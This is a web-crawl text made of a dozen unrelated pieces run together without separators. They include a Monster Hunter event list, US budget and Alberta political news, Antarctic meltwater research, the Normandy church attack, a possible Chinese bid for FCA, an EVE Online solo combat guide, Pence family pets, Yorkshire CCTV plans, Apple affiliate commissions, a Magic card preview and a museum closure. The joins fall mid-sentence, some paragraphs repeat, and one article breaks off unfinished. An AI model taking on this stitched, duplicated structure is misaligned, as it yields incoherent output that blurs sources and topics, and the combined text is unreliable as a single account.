Blah blah blah disclaimer etc etc inaccuracies happen don't hate too much. No nothing no creole. There's a bunch of Arena quests, but who cares, right? On to the meat:Fire Emblem: Warding Despair - Hyper Silver Rathalos -- Lodestar Set, Fire Emblem SNSGhosts 'n Goblins: Seeing Red - Hyper Rathalos -- Arthur Palico setBlazing Thunder at USJ - Hyper Astalos & Hyper Glavenus - USJ Star Rook, USJ CBIt Would Be a Shame If... - Hyper Ceanataur - N/A (doesn't seem to give anything)Mega Man: Yellow Devil - Hyper Royal Ludroth - Mega Man Palico setFamitsu: Mizutsune Feature - Mizustune x3 - Famitstu weapons (none are all that good, sadly)Dance of Dreams at USJ - Malfestio & Mizustune - USJ Blue Star, Starlight GateFan Club: Arena Action - Volvidon, Lagombi, Bulldrome, Arzuros - Fan Club palico gearToo Hot to Handle - Powderstone as a prowler - Streetpass/Courier cat setCoroCoro: Lost in the Swamp - Ioprey and Ceanataurs - Zombie cat setPalicos: Nikki, Zombie CatHalloween Pet CostumeItem Pack: Advanced PackNo World's Strongest this time, but Lodestar and Hyper Silver Rathalos, Megaman, Arthur, and Star Rook to look forward to.Blah blah blah disclaimer etc etc inaccuracies happen don't hate too much.On Thursday, House Budget Chairman Paul Ryan (R-WI) introduced new limits on spending to fund the government through the end of September. The proposal itself falls a bit short of the GOP pledge to slash spending by $100 billion, on a prorated basis, this fiscal year. But already Senate Democrats are warning Republicans that they’d better willing to negotiate toward the center, or they’ll risk a government shutdown.
Indeed, top Democrats addressed reporters about the GOP proposal Thursday afternoon. They criticized the GOP’s approach, and its leadership, for not taking a government shutdown off the table. They even brought Sen. John McCain’s (R-AZ) old economic adviser — and Moody’s chief economist — Mark Zandi to the podium to buttress their case: a government shutdown would harm the economy, spending should not be cut dramatically right now, and the standoff should be resolved quickly.
“The chairman of the [House] Budget Committee today — today — sent us something more draconian than we originally anticipated,” Senate Majority Leader Harry Reid (D-NV) said. He called Ryan’s plan “unworkable.”“The Republicans control the House, the Democrats control the Senate and the White House — that’s two-thirds of the decision-making parts of the government here,” said Sen. Chuck Schumer (D-NY). “So it can’t be that 80 new Republicans who come in say “we should dictate everything that happens, otherwise we’re gonna shut the government down, otherwise we’re going to default. And I think the leadership — the leadership of the House and Senate Republicans — has been notably silent. Which I think encourages them to continue saying these things. Even saying these things rattles the debt market some.”
In reality, the figures aren’t actually as draconian as many Republicans wanted, or thought they would be. According to Ryan, “the spending limits will restore sanity to a broken budget process and return spending for domestic government agencies to pre-stimulus, pre-bailout levels.” He claims they constitute a $74 billion cut — but that’s from the levels President Obama requested, not from the levels the government is operating under right now. Relative to current funding, Ryan’s plan represents a slimmer $32 billion cut (about $40 billion if you count non-defense spending only) — much less than conservatives on the Republican Study Committee want to see.
His numbers are binding, for now, on the House. So the question is whether Republicans are willing to meet the Democrats mid-way on overall spending — and on particular spending cuts — or whether they view their top-line, and their spending priorities, as non-negotiable.Some Calgary conservatives got together Wednesday night to launch what they call the Let's Get Alberta Working group. They say they are non-partisan and are not affiliated with other conservative organizations and they hope to help Alberta find its voice.
Around 200 people gathered at the Bowness community centre to share their ideas on how to get Alberta on the road to prosperity once again.
Although jobs were a part of the discussion, so were health care, education, and the economy.
While many in the crowd had connections to the Progressive Conservative party, organizers aren't calling this group a political movement.
There were no calls for uniting the right or a "kudatah."
Emma May, a former Jim Prentice staffer and one of five speakers at the meeting, says this discussion is long overdue.
Emma May says the conversation is overdue. (CBC)
"So I'm not really sure why that conversation didn't happen, probably because there's years of entrenchment and you don't make changes you need to make," May tells CBC News.
"Another thing is, when the money is flowing, people didn't take risks, and Albertans are risk takers."
Faizal Somji runs a northeast Calgary garage.
Faizal Somji owns a mechanic shop. He says the province should focus on community building and entrepreneurial spirit. (CBC)
He says Albertans have been too reliant on big businesses.
"Community building and entrepreneurial spirit is something that we're kind of missing right now, and we are just focused on trying to get by instead of building for the future."
Somji hopes to attend more meetings like this.
The group plans to hit other cities in the province to hear what Albertans want their future to look like.
The meeting attracted about 200 people. (CBC)
"My hope is that incredibly talented Albertans in every jurisdiction in this province, actually stand up, especially the young generation, and say, 'This is my Alberta, this is what I want it to be,' and get engaged in political dialogue," May said.By By Karen Graham Apr 22, 2017 in Environment For the first time ever, the network of streams, ponds, and lakes across Antarctica's surface have been mapped, and the extent of the water flow is astounding and worrying to scientists. But now, polar scientists have gathered and collated any and all research, journal entries and images to bring our knowledge of surface meltwater on the continent's surface up to date, giving future researchers an accurate baseline for any further studies. In The Both studies point out there is no clear evidence that suggests there has been an increase in the amount of meltwater produced over the time period they covered. However, the studies do provide a much-needed baseline for determining the spread of free-flowing water in the future, reports “These streams are something that requires more investigation,” said Paul Mayewski, director of the Climate Change Institute at the University of Maine and a climatologist who’s done significant fieldwork in Antarctica. Mayewski was not involved in the study but called it “impressive.” Scientists monitoring conditions at the Carlini Base in Antarctica, say the average temperature there has increased by 2.5 degrees Celsius over the past century ALEXANDRE PEYRILLE, AFP “This is not in the future – this is widespread now and has been for decades,” says Jonathan Kingslake, a glaciologist at Columbia University’s Lamont-Doherty Earth Observatory, who led the research. “I think most polar scientists have considered water moving across the surface of Antarctica to be extremely rare. But we found a lot of it, over very large areas.” Two research teams from the Lamont-Doherty Earth Observatory of Columbia University, Palisades, New York, along with colleagues in the department of Geography, The University of Sheffield, Sheffield, UK, as well as researchers from Italy, Korea, and NASA were involved in this first thorough study of the meltwater on the Antarctic surface. The two studies were published in the online journal Nature on April 20, 2017: Widespread movement of meltwater onto and across Antarctic ice shelves Antarctic ice shelf potentially stabilized by export of meltwater in surface river Possibly the earliest documentation of water on Antarctica was made in 1909 when Ernest Shackleton and his fellow explorers found they had to cross flowing streams and even a lake on the Nansen Ice Shelf on their way to reach the magnetic South Pole.But now, polar scientists have gathered and collated any and all research, journal entries and images to bring our knowledge of surface meltwater on the continent's surface up to date, giving future researchers an accurate baseline for any further studies.In one study, scientists have been poring over aircraft and satellite images of Antarctica from 1947 to the present. They identified 700 seasonal, distinct networks of ponds, channels, and streams flowing from all sides of the continent. Some were as close as 600 kilometers (373 miles) to the South Pole and at altitudes of up to 1,300 meters (4,265 feet).The second study found that surface drainage has persisted for decades, moving water up to 120 kilometers (75 miles) from grounded ice onto and across ice shelves, feeding vast melt ponds up to 80 kilometers (50 miles) long. This surface river ends in a 130-meter (427 feet) wide waterfall that can drain the entire annual surface melt over the course of about seven days.Both studies point out there is no clear evidence that suggests there has been an increase in the amount of meltwater produced over the time period they covered. However, the studies do provide a much-needed baseline for determining the spread of free-flowing water in the future, reports CBS News. “These streams are something that requires more investigation,” said Paul Mayewski, director of the Climate Change Institute at the University of Maine and a climatologist who’s done significant fieldwork in Antarctica. Mayewski was not involved in the study but called it “impressive.”“This is not in the future – this is widespread now and has been for decades,” says Jonathan Kingslake, a glaciologist at Columbia University’s Lamont-Doherty Earth Observatory, who led the research. “I think most polar scientists have considered water moving across the surface of Antarctica to be extremely rare. But we found a lot of it, over very large areas.”Two research teams from the Lamont-Doherty Earth Observatory of Columbia University, Palisades, New York, along with colleagues in the department of Geography, The University of Sheffield, Sheffield, UK, as well as researchers from Italy, Korea, and NASA were involved in this first thorough study of the meltwater on the Antarctic surface.The two studies were published in the online journal Nature on April 20, 2017: More about Antarctica, Climate, earth systems modeling, meltwater, Sea level rise Antarctica Climate earth systems modeli... meltwater Sea level risePARIS (AP) — French officials on Thursday identified the second man who attacked a Normandy church during morning Mass, saying he’s a 19-year-old from eastern France who was spotted last month in Turkey as he supposedly headed to Syria — but who returned to France instead.
The prosecutor’s office identified him as Abdel-Malik Nabil Petitjean following DNA tests on his corpse. A security official confirmed that he was the unidentified man pictured on a photo distributed to French police on July 22 with a warning that he could be planning an attack.
Four days later, Petitjean and another 19-year-old local man, Adel Kermiche, stormed the church in Saint-Etienne-du-Rouvray during Mass on Tuesday. They held five people hostage — the priest, two nuns and an elderly couple — before fatally slashing the priest’s throat and seriously wounding the other man. Another nun at the Mass slipped away, raised the alarm, and the attackers were killed by police as they left the church.
The attack was claimed by the Islamic State group, which released a video Wednesday allegedly showing Kermiche and his accomplice clasping hands and pledging allegiance to the group.
Petitjean was born in eastern France, in Saint-Die-des-Vosges, but recently lived in the Alpine town of Aix-les-Bains where his mother lives, the prosecutor’s office said. Kermiche was from Saint-Etienne-du-Rouvray, where the attack took place in northwest France.
A youth believed to be 16 was detained after the church attack is still being held for questioning, the prosecutor’s office said.
A security official said Turkey spotted Petitjean at a Turkish airport going to Syria on June 10, and that on June 29 he was flagged to French authorities and immediately put on a special watch list.
“But he didn’t go to Syria,” said the official, who was not authorized to discuss the case and asked not to be identified by name. “He turned around” and returned to France on June 11.
That information was gleaned as police and intelligence officials tried to track back to learn the identity of the second attacker.
Although it’s not clear what caused Petitjean to turn around, in recent months Islamic State propaganda has encouraged Western recruits in particular not to join extremists in the war zones in Syria or Iraq but to remain home and carry out attacks.
The French anti-terrorism coordinating agency, UCLAT, issued the photo of a man on July 22, warning police that the person — without a name but who turned out to be Petitjean — “could be ready to participate in an attack on national territory.”
The UCLAT flyer, obtained by The Associated Press, told police its information came from a trusted source. It said the person in the photo “could already be present in France and act alone or with other individuals. The date, the target and the modus operandi of these actions are for the moment unknown.”
It was not immediately clear how the two men knew each other or when Petitjean traveled from eastern France to Normandy, in the west.
The church attack came less than two weeks after an attack by a man barreling his truck down a pedestrian zone in Nice, on the Riviera, that killed 84 people celebrating France’s national day, Bastille Day.
The Islamic State group claimed responsibility for that attack, too, as well as two attacks that followed in Germany.
A gathering this weekend to honor victims of the Nice attack was cancelled on Thursday, after authorities said law enforcement was too busy protecting against threats. A march Thursday in Saint-Etienne-du-Rouvray was still expected to take place, however.Share Pinterest
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For more than two years, FCA has been FSBO — that’s For Sale By Owner — with no serious offers.
Not anymore.
Representatives of a well-known Chinese automaker made at least one offer this month to buy Fiat Chrysler Automobiles at a small premium over its market value, Automotive News has learned. The offer was rejected for not being enough, a source said.
Meanwhile, other sources independently identified executives from other large Chinese automakers conducting their own due diligence on a potential purchase of FCA, including meeting last week with representatives of U.S. retail groups about a potential acquisition. A source said FCA executives have traveled to China to meet with Great Wall Motor Co. And Chinese delegations were seen last week at FCA’s headquarters in Auburn Hills, Mich.
Rumormill 2018 Jeep Wrangler details and features leaked from FCA dealer system Next-gen Jeep Wrangler details are finally out, just not the way Jeep probably wanted them to be. JLWranglerForums.com managed to get screenshots of options, packages, colors and features for the new...
FCA shares rose on the news, trading up 7.4 percent to $12.47 in New York as of 10:28 a.m. ET.
Chinese companies are under government pressure to expand outside China by acquiring foreign companies. FCA may be a perfect target, given that CEO Sergio Marchionne has focused on streamlining the automaker’s operations to make it enticing to a buyer, making bold moves such as exiting small cars and sedans and revamping the company’s manufacturing footprint.
It’s unclear which Chinese automaker or automakers are pursuing FCA. Different sources have pointed to involvement by different ones — Dongfeng Motor Corp., Great Wall, Zhejiang Geely Holding Group or FCA’s current joint venture partner in China, Guangzhou Automobile Group. But it is also unclear which company or companies are likely to follow through or succeed.
Unsurprisingly, FCA isn’t talking, nor are any of the four Chinese automakers. But if a sale proceeds, the quintessentially American Jeep brand — once owned by the Germans and most recently by the Italians/Dutch — may soon be owned by the Chinese.
According to one source, any sale likely would involve FCA’s highly profitable Jeep and Ram brands, as well as Chrysler, Dodge and Fiat, but would exclude Maserati and Alfa Romeo. Those two brands would be spun off, as was Ferrari, to maximize returns for Exor, the holding company controlled by the Agnelli family, which owns a controlling interest in FCA, the source said, speaking on condition of anonymity.
Why, after two years on the block, is FCA apparently drawing interest from at least one potential Chinese buyer now?
The answer: FCA’s global network and product — specifically Jeep and Ram — fit the requirements the Chinese government has set for attractive acquisitions.
Car News Report: Lotus production may head to China after Geely buys stake Lotus may become the latest western marque to shift some production to China, Bloomberg reports, after China's Zhejiang Geely Holding Group announced plans to purchase stakes in Malaysian...
Quality gap
Chinese automakers have openly dreamed of cracking lucrative North America for a decade, spending millions to display their vehicles at high-profile U.S. auto shows. Early efforts showed that Chinese automakers had a long way to go before they were ready to compete here.
But in more recent years — through knowledge and expertise gained via joint ventures with the world’s largest and most successful automakers — Chinese companies have closed the quality gap.
And the automakers feel like they finally have closed that gap enough to start selling their products in the U.S., said Michael Dunne, president of Dunne Automotive, a Hong Kong investment advisory company and an expert on the Chinese auto industry.
They also are under pressure from the government to expand beyond China, Dunne said.
A government directive dubbed China Outbound pushes Chinese businesses to acquire international assets from their industries and operate them “to make their mark,” much as Geely has done since acquiring Volvo in 2010. Bloomberg reported last week that Chinese companies plan to spend $1.5 trillion acquiring overseas companies over the next decade — a 70 percent increase from current levels.
“Right now, Chinese automakers enjoy the full support of the leadership in Beijing to go and make it happen,” Dunne said. “That’s something brand new, and it’s really picked up since 2015.”
Along with Volvo, Dunne pointed to Italian tire maker Pirelli and German robotics giant Kuka as Chinese acquisitions supported by the China Outbound policy.
Interest has been growing for some time. In May 2016, FCA hosted a high-level delegation
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swarms spewn from carriers, and slow-grinding 17-hour battles with the fortunes of empires at stake. Far removed even from fleets, logistics support, and primary targets. Distant from chattering comms, idle banter in social channels, and requests for aid. In the dark places of the world hunter-killers prowl in focused solitude. With sharpened instincts they search for white-knuckled, jaw-clenching and shakes-inducing single combat where both victory and defeat are absolute.
Solo PvP
In many ways solo PvP is its own world, quite distinct from the rest of New Eden. Those that willingly engage in it are of a different breed. Amongst those that try, only a select few will master it. They are the thrill-seekers of EVE – walking a proverbial tightrope over a hostile world without a safety net. Nowhere are they more common than in low security space.
Although I could fairly be described as adequate at going toe-to-toe in single combat, prudence demands the angle of a true expert. Throughout this piece you will be hearing from Sun Kashada, hands down the finest solo PvP pilot I have personally come across.
Alone in the dark
The expertise required to survive in the dog eat dog world of solo PvP is significantly different than the qualities prescribed to perform well in a fleet.
Flying alone in hostile territory can be a harrowing experience for those that are not accustomed to it. In a fleet the responsibility is chiefly held by the FC and there is safety in numbers.
There is room for error and there is help to be had when an individual stumbles. When flying solo the combatants split second decisions are the only orders and there is only one primary target. Mistakes of any significant weight routinely mean death, and the only companion is the enemy.
In a fleet, individual skillsets cover each other’s weak points whereby a competent entity is created by virtue of diversity. The lone PvP-er must thus singularly possess well rounded prowess and knowledge.
I asked Sun Kashada what motivates one to try this most difficult path in EVE.
SK: When engaging in fleet fights the impact of one pilot is often marginal. Granted, there are roles that do have a decent impact on the outcome of a fight but many of you might feel like the noble lemming. The FC sets the goal and you start running towards it, target and hit F1 when you’re told to.
In a 1v1 every action you take will decide the outcome of the battle, there is no one there to save your ass when something goes wrong. That’s why winning those engagements feels a lot more rewarding – especially when fighting uphill.
Dressed to kill
Most solo combat is performed in smaller ships, frigates predominantly. Cruisers also meet in single combat, but it is far more scarce. Bigger ships just aren’t well suited to fend for themselves as they are slow, draw attention to themselves and can easily be caught and countered.
Fitting for solo work is quite distinct from fitting for a fleet. A good solo ship is a specialist, jack-of-all-trades fits tend to fail. A good starting point when considering a new solo PvP fit is choosing what type of ships the fit is intended to fight or counter and what range it is optimized to engage at.
Sun Keshada had some choice words to say about fitting for solo pvp.
SK: When you fit for fleets you try to be in line with the rest of the fleet. Fit an afterburner instead of a MWD and be left behind unable to get to your target. In solo PvP you decide whether you take the fight or not and how the fight is initiated (to some extent), therefore you have a lot more options and strategies to choose from. I usually make make my solo fittings with a set of ships/fittings to counter in mind – as opposed to simply maximizing numbers.
Try to avoid standard fits and see what else you can do with those hulls. Even the inherent bonuses of a hull can be disregarded in several cases. Many people seem to just grab the top-rated loadout from battleclinic or simply fly the few cookie cutter fits that are known to perform well. Those fits are very predictable and usually can be countered easily.
Three stereotypes can be distinguished.
Brawler: The classic brawler is intended for brutal close quarters combat. This fit uses short range weapons and full tackle in the form of a warp scrambler and a stasis webifier to keep targets close. Brawlers are extremely efficient if they can get within range and manage to hold their target close. The choice of micro warp drive or afterburner can be tricky; an MWD will reach the target fast, but if the target has a warp core scrambler, a web and AB, they will be dictating the range – easily avoiding the optimal range.
Scam kiter: This fit relies on staying just inside the outer edge of warp scramble range, ~9 km, using an afterburner, scrambler and web. They are the perfect counter to MWD fit brawlers as they can keep the brawler at a comfortable range even when tackled. The weapons most effective at this range still pack a considerable punch. The main weakness of this fit is that they normally use AB for propulsion, making them susceptible to true kiters with MWD.
Kiter: The true kiter uses naturally agile hulls combined with MWD and nanofiber internal structure to stay just within warp disruptor range at ~24 km – avoiding most frigate borne weapons. It’s main weaknesses lies in that it has virtually no tank and is more or less dead in the water if it gets scrambled. A common tactic against this type of fitting is known as slingshotting, whereby a slower target will fly in one direction, abruptly stop and then burn back, hoping to apply tackle to the kiter.
These are only three very rough divisions. Naturally the variants out there are limitless and every day capsuleers are getting more creative with their fits.
Knowing the enemy
“If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.” Sun Tzu, The Art of War
No fit in the world will save a pilot from ignorance. A solid knowledge of ships and how they are typically fit and flown is a vital component of fighting solo. The well-informed pilot will know at a glance what ships their current fit is well equipped to take on and what they should avoid. There is no substitute for knowledge and experience, as attested by Sun when I asked him what skills he thought were essential for a successful solo PvP-er.
SK: Knowledge about the ships you encounter and their possible fittings. You can’t attain that by reading, so go out and make stuff explode – either your target or yourself. After each loss you try to figure out your enemies fitting strategy. Check the killboard for his fitting, then hit EFT or the fitting program of your choice to figure out a counter (or several). I’ve spent many hours in EFT and went as far as to play around with fittings for ships i couldn’t fly – just to see what those hulls are capable of.
Reading up will provide some basic information, but nothing beats hard experience. A stockpile of cheap frigates and a willingness to learn by trial and error is a good investment for any hopeful.
Range control
An absolutely vital component, that cannot be understated, is the ability to control range. It is the basis for maximising damage output, minimizing incoming damage and being able to disengage if the fight goes ill.
This is not simply a matter of ship fitting and automated orbit, holding range or approaching, but also of manual maneuvering. Understanding an opponent’s movements and manually countering them is the mark of a successful fighter. Apart from visually studying the movements of the enemy it is advantageous to use the overview to best effect. Data on speed, relative speed, transversal velocity and angular velocity, along witht the experience to understand that data at a glance is often the edge needed for victory.
Seeing is believing
A common shortcoming amongst those new to solo PvP is poor use of the directional scanner. Used right it is singularly the most essential means for getting the right fights and avoiding the wrong ones.
It is good practise to have a clean overview, only showing the data needed for the task at hand. When applied to the directional scanner it allows the user to quickly take stock of their surroundings and take action based on that information. This coupled with an understanding of d-scan ranges as compared to astronomical units (AU) makes the directional scanner one of the most important tools in a solo PvP-ers toolbox. You can find an in-depth guide of the d-scanner here.
The lay of the land
“There is no hunting like the hunting of man, and those who have hunted armed men long enough and liked it, never care for anything else thereafter.” Ernest Hemingway
A successful hunter knows his hunting ground. Being intimately familiar with the systems themselves, the gates that bind them together and the entities that that traffic them is a good supplement to the skills mentioned above.
Hunting in the same area over a period of time will grant knowledge of the potential targets that frequent it. It is worth noting early whom the most dangerous pilots are and developing an understanding of their modus operandi. Everyone has a weakness – it’s just matter of exploiting it at the right time, in the right place and with the right weapon at hand.
Creative use of saved locations can be immensely advantageous and lead to some spectacular kills. It is good practise to mark up gate pounce points, sniping spots, station undocks and the like.
Finding the good fight
Ultimately this is all to naught if no targets can be found. Arguably the Faction Warfare war zones are the best areas to hunt, and it is there the opportunity for single combat most often presents itself. I asked Sun to share his best tips on finding prey.
SK: Faction Warfare for one. The amount of pilots consistently roaming and plexing solo seems unmatched by any other area of New Eden.
There are several things you can do once you’re in the warzone: Roam around and look for people plexing or sit in a plex in a system with high traffic. Consider even a militia staging system (but beware of being blobbed).
The most important factor, however, is the ship you are flying yourself. A little Atron won’t be eager to engage your Daredevil, i.e. the less dangerous you look, the more engagements you get and there are several underrated ships that perform very well with the right fitting.
So it is not always a matter of aggressively looking for a fights. Attracting fights is a delicate art whereby the hunter attempts to hide his strengths, revealing them only when the fly is firmly stuck in the web.
The lone wolf
There are many avenues to enjoy in EVE. None, however, can compare to solo PvP when it comes to pure, adrenaline-filled, thrill. It’s the ‘all in’ of New Eden and the ultimate testing ground for the true PvP warrior.
Click here to see more Lowlife articles, don’t miss out!Vice President Mike Pence celebrated Father’s Day by welcoming two new furry friends to his family.
Pence’s wife, second lady Karen Pence, announced Sunday that the family got two new pets while on a weekend trip to their home state of Indiana: a dog named Harley and a cat named Hazel.
We welcomed a new kitten to our family during our trip back home to Indiana this weekend!Introducing: Hazel! pic.twitter.com/TWk6WeUQi6 — Karen Pence (@SecondLady) June 18, 2017
And... for Father's Day, we surprised @VP with an Indiana puppy! Introducing: Harley! pic.twitter.com/ZlvNasOw9b — Karen Pence (@SecondLady) June 18, 2017
Pence’s press secretary on Monday tweeted a picture of the vice president disembarking from Air Force Two, carrying the “Second Dog.”
New Second Dog - Harley - got his first ride on Air Force Two with @VP. Next exploring the grounds & house at Vice President's Residence. pic.twitter.com/opmERCsii2 — Marc Lotter (@VPPressSec) June 19, 2017
The happy additions to the family follow some tragic news: The family’s cat named Oreo died earlier this month. The family’s dog named Maverick died in October.
Fortunately for fans of furry friends, the Pence family has plenty of pets. Harley and Hazel join a cat named Pickle and a rabbit named Marlon Bundo.Facial recognition software could be used to help find vulnerable missing people in parts of Yorkshire as part of plans to create a fully joined-up CCTV system.
West Yorkshire’s police and crime commissioner has been given £124,000 by the Home Office to part-fund a feasibility study into an overhaul of the county’s CCTV system, which will be carried out in the next two years.
West Yorkshire authorities are applying for funding to improve the county's CCTV system.
Currently, each of West Yorkshire’s five local authority areas has its own CCTV system monitoring cameras in busy areas and public transport hubs, managed by a local community safety partnership.
This means that officials attempting to track a missing person, suspect or vehicle across district boundaries have to swap between CCTV systems.
The study, which will involve the five safety partnerships in West Yorkshire, will look at whether it is possible to create one system covering the county and whether facial recognition software can be introduced into the network.
Such software could potentially allow vulnerable missing people to be tracked automatically as they pass through areas covered by CCTV cameras, rather than officers or control room staff having to go through footage manually.
Police and Crime Commissioner for West Yorkshire Mark Burns-Williamson.
The Yorkshire Post reported earlier this year that more than 800 people aged over-65 were reported missing by the region’s police forces last year – and its ageing population means the total is likely to grow in the coming years.
Officials in West Yorkshire applied for money from the Home Office Innovation Fund as a “proof of concept” bid, where funding is sought to turn a partially-formed idea into a fully-formed idea.
Police and crime commissioner Mark Burns-Williamson said: “The study will look at an integrated West Yorkshire CCTV system and will also explore the feasibility of identifying the whereabouts of vulnerable missing persons through facial recognition software being included within the system, as looking for missing persons is an area of large demand on police resources.
“The CCTV partnerships currently in place across the county are under pressure because of government funding cuts, so this project will involve working together in partnership including with Safer Leeds to ensure we are helping to secure the CCTV network across West Yorkshire, ensuring our communities are safer and feel safer.”
Councillor Debra Coupar, Leeds City Council’s executive board member with responsibility for Safer Leeds said: “We are looking forward to working with partners on this feasibility study, which will look at how we can deliver improved CCTV systems across West Yorkshire.
“CCTV plays a vital role in keeping our residents and communities safe, and this will be a great opportunity to tap into the expertise available in the region to identify what opportunities are available to enhance our own service in Leeds.”
A total of £310,000 was requested as part of the CCTV project, with the Home Office supplying £124,000, representing 40 per cent of the total costs for the scheme.
The Home Office also agreed to pay for 40 per cent of two other schemes at the request of West Yorkshire Police.
One, a collaboration with two Leeds universities, the College of Policing and four other police forces, is called ‘More with Less: Authentic Implementation of Evidence-Based Predictive Patrol Plans’. Another scheme will look into the use of technology to improve the reduce the number of ‘missing person incidents’.Update: Apple has officially clarified the situation, and indeed, just as I discovered when directly contacting the iTunes Affiliates team, the change only applies to in-app iOS sales, leaving Mac games and apps as is:
We’d like to clarify some changes being made to the Affiliate Program. Commissions for all iOS in-app purchases will be reduced from 7% to 2.5% globally, and all other content types (including music, movies, books, paid iOS apps and TV) will remain at the current 7%. For more information on commission rates, please see our Getting Started Guide.
I appreciate the news but seeing how they scared the hell out of content producers depending on affiliate sales to survive, an apology, or at least an explanation would have been nice.
Original story: It seems there has been a big misunderstanding.
Two weeks Apple shocked the press with the announcement that commissions for all app and in-app content would be reduced from 7% to 2.5%, effective May 1st.
A huge change that would deeply affect all sites that spend much of their day covering and reviewing apps (or focused on iOS or Mac gaming), Mac Gamer HQ included.
And by merely giving a one week notice, some wondered what was Apple’s plan here.
As officially announced by Apple:
Starting on May 1st 2017, commissions for all app and in-app content will be reduced from 7% to 2.5% globally. All other content types (music, movies, books, and TV) will remain at the current 7% commission rate in all markets. We will also continue to pay affiliate commissions on Apple Music memberships so there are many ways to earn commissions with the program.
The message is crystal clear, yet it seems that wasn’t exactly what Apple meant.
Because I never saw a clear mention of Mac Apps, I decided to contact the iTunes Affiliate team. Turns out, not only are Mac Apps not impacted. iOS Apps aren’t impacted either.
The change in affiliate commissions applies to in-app purchases only, at least according to their support team:
This also matches what some have noticed now that May has started. They still see 7% commissions:
Still seeing 7% commissions for iTunes affiliate links from May 1-May 2???? (Maybe dashboard is slow to catch up?) — Federico Viticci (@viticci) May 3, 2017
@MacGamerHQ @viticci I’m still get 7% commissions on iOS apps though???? — Giacomo Lawrance (@GiacomoLaw) May 3, 2017
And in fact, I still see the same commissions from my gaming reviews. I suggest Apple clarifies that all app commissions remain unchanged and stops the panic among bloggers and app reviewers.Chas Andres is a freelance writer and MFA student living in Wilmington, North Carolina. When he's not at his keyboard dreaming up stories, you can find him playing with his cats, listening to records, or building yet another Magic deck.
I fell in love with the color green while opening packs of Seventh Edition in my childhood bedroom.
A friend and I had decided to split a booster box, and we were taking turns ripping off the foil and pulling out stacks of brand-new cards. About halfway through, I opened a pack and excitedly flipped to the rare slot. Starting back at me was Thorn Elemental—the biggest creature I had ever seen.
My mind ran wild with possibilities. Nobody else I knew had a creature that large! Oh, sure, a Goblin enchanted with Firebreathing might get there eventually, but there was something satisfying about the idea of dropping a massive creature onto the table and making everybody else deal with it. The corners of that Thorn Elemental became dog-eared by frequent play long before I moved on to a slightly more competitive stage of my Magic-playing life.
There's an exploration and discovery aspect to green's flavor, and it really appeals to the part of me that got so excited when I first saw that Thorn Elemental. Winning games is nice, but if I'm playing green I'd prefer to do it while assembling as impressive a collection of creatures as possible.
This is not a desire that easily translates to card form, though, which is why I was so blown away the first time I got to see the preview card I'm about to show you. World, it's time to meet Selvala, Heart of the Wilds:
From a character perspective, Selvala is both interesting and unusual. She's a member of the Paliano high court, a beloved champion of the common people, and one of Brago's closest friends and allies. During Brago's reign, Selvala spent a lot of her time exploring the wilderness in search of interesting animals that she could bring back to the High City. When last we left her, she had been thrown in prison for killing Brago in an act of mercy. Grenzo released Selvala in hopes that she'd kill Muzzio for him, but she escaped into the wilderness instead.
Worldknit | Art by Adam Paquette
Both artistically and mechanically, it is clear that Selvala has stayed true to her roots as an explorer. Taking a look at the illustration, I love the firm yet casual way that Selvala has placed her hand on the back of her wolf. She is clearly in control of the situation, but knowing that does nothing to diminish the power and ferocity of the wild animal. There's a fascinating, almost incongruous tension in her pose, and it's reinforced by the fact that she is hiking through an urban setting while dressed for a long journey through the wilderness. Tyler Jacobson did a stellar job on this piece—he's done some of my favorites over the past few years, including Rattleclaw Mystic, Tightening Coils, and the alternate version of Pia and Kiran Nalaar.
Both of Selvala's abilities do an excellent job of showcasing her values. When last we saw her, Selvala was a green-and-white-aligned card with a parley ability that rewarded her controller for each player with a nonland card on the top of their library. She may no longer have white in her casting cost, but Selvala is still interested in giving everyone at the table a fair shot. If your opponent plays the biggest creature, she will let them draw a card. She's an explorer, remember—fickle alliances don't matter to her as much as collaborative discovery.
Luckily, the best way to mitigate this downside is also the most fun. Play bigger creatures! While I don't have complete knowledge of Fioran biology, Selvala's home plane appears to be home to all manner of interesting creatures. Wolves, Elephants, Rhinos, Hydras, and Wurms all made an appearance in the last Conspiracy set. If you want to look beyond that, Selvala might also be a good way to give a tribal Beast deck some much-needed focus. Just be sure to speak in a gruff voice about each increasingly scary monster you've summoned from deep in the heart of the wilds.
Of course, Selvala's second ability gives you the flexibility to go exploring all over the color pie. As we learned from Worldknit (my favorite card in Magic: The Gathering—Conspiracy), Selvala is interested in traveling beyond the boundaries of green mana in her search for interesting creatures. Want to summon the biggest Krakens in the multiverse? Have an affinity for gigantic Dragons? Always hoped you'd be able to cast that Chromanticore someday? Selvala has you covered.
Selvala also helps you avoid the biggest pitfall that comes with any "giant creatures" strategy: the frustration that comes when all of them are stuck in your hand. There aren't very many cards in Magic that can produce as much mana as Selvala can, and even on an otherwise empty board she can tap for two to get you started. Once you've got a big creature on the board, Selvala can generate a ludicrous amount of mana all by herself. I doubt she'd appreciate being used to help summon an Eldrazi titan, but Autochthon Wurm and Krosan Cloudscraper are giant monsters that I bet she'd enjoy seeing. Just don't forget to play them in the correct order so that you can draw that extra card!
And that just scratches the surface of the many flavorful ways you can play with Selvala. She's an Elf, so you can play her with any number of her brethren—including, perhaps, a gigantic Heedless One. You can combine her with a lot of mana ramp to emphasize the geographical-exploration aspect of her personality. You can even stick her in a deck with Worldknit and a bunch of really wacky creatures, as long as your opponents are okay with using conspiracies in your playgroup.
No matter how you choose to play with Selvala, Heart of the Wilds, I hope she helps rekindle the excitement that you felt the first time you saw a properly huge creature. Now go forth and summon the biggest thing you can!Citing a tough downtown real estate market, Janine Vaccarello, the Crime Museum’s chief operating officer, announced the museum will close its doors on September 30.
“The Crime Museum’s landlord has decided to execute their rights under the lease agreement and request that we vacate the premises,” Vaccarello emailed members of the Washington Area Concierge Association on Saturday. In her email, she stated the museum will close on October 1; the museum’s website cites September 30 as its closing date.
She wrote the museum is looking for a new space–in DC, as well as outside of the District. However, since its landlord requested a “strict vacate timeline,” the museum will be closed for an indefinite period of time.
In the mean time, fans will still have access to specific programs, such as assassinations walking tours, traveling forensics educational programs, and off-site team building.
The news was also announced on the museum’s website.
Washingtonian has reached out to Vaccarello and the Crime Museum for comment.shacess asked: seriously man? wtf with that gothic lolita version of a witch on the all hallows read poster? i would love it if you could go 5 minutes without endorsing infantilised feminine power figures. you are the only person that ever came close to resembling a role model and it's getting harder and harder not to just write you off as an ass-hat.
How odd. Often I go for weeks without endorsing infantilised feminine power figures.
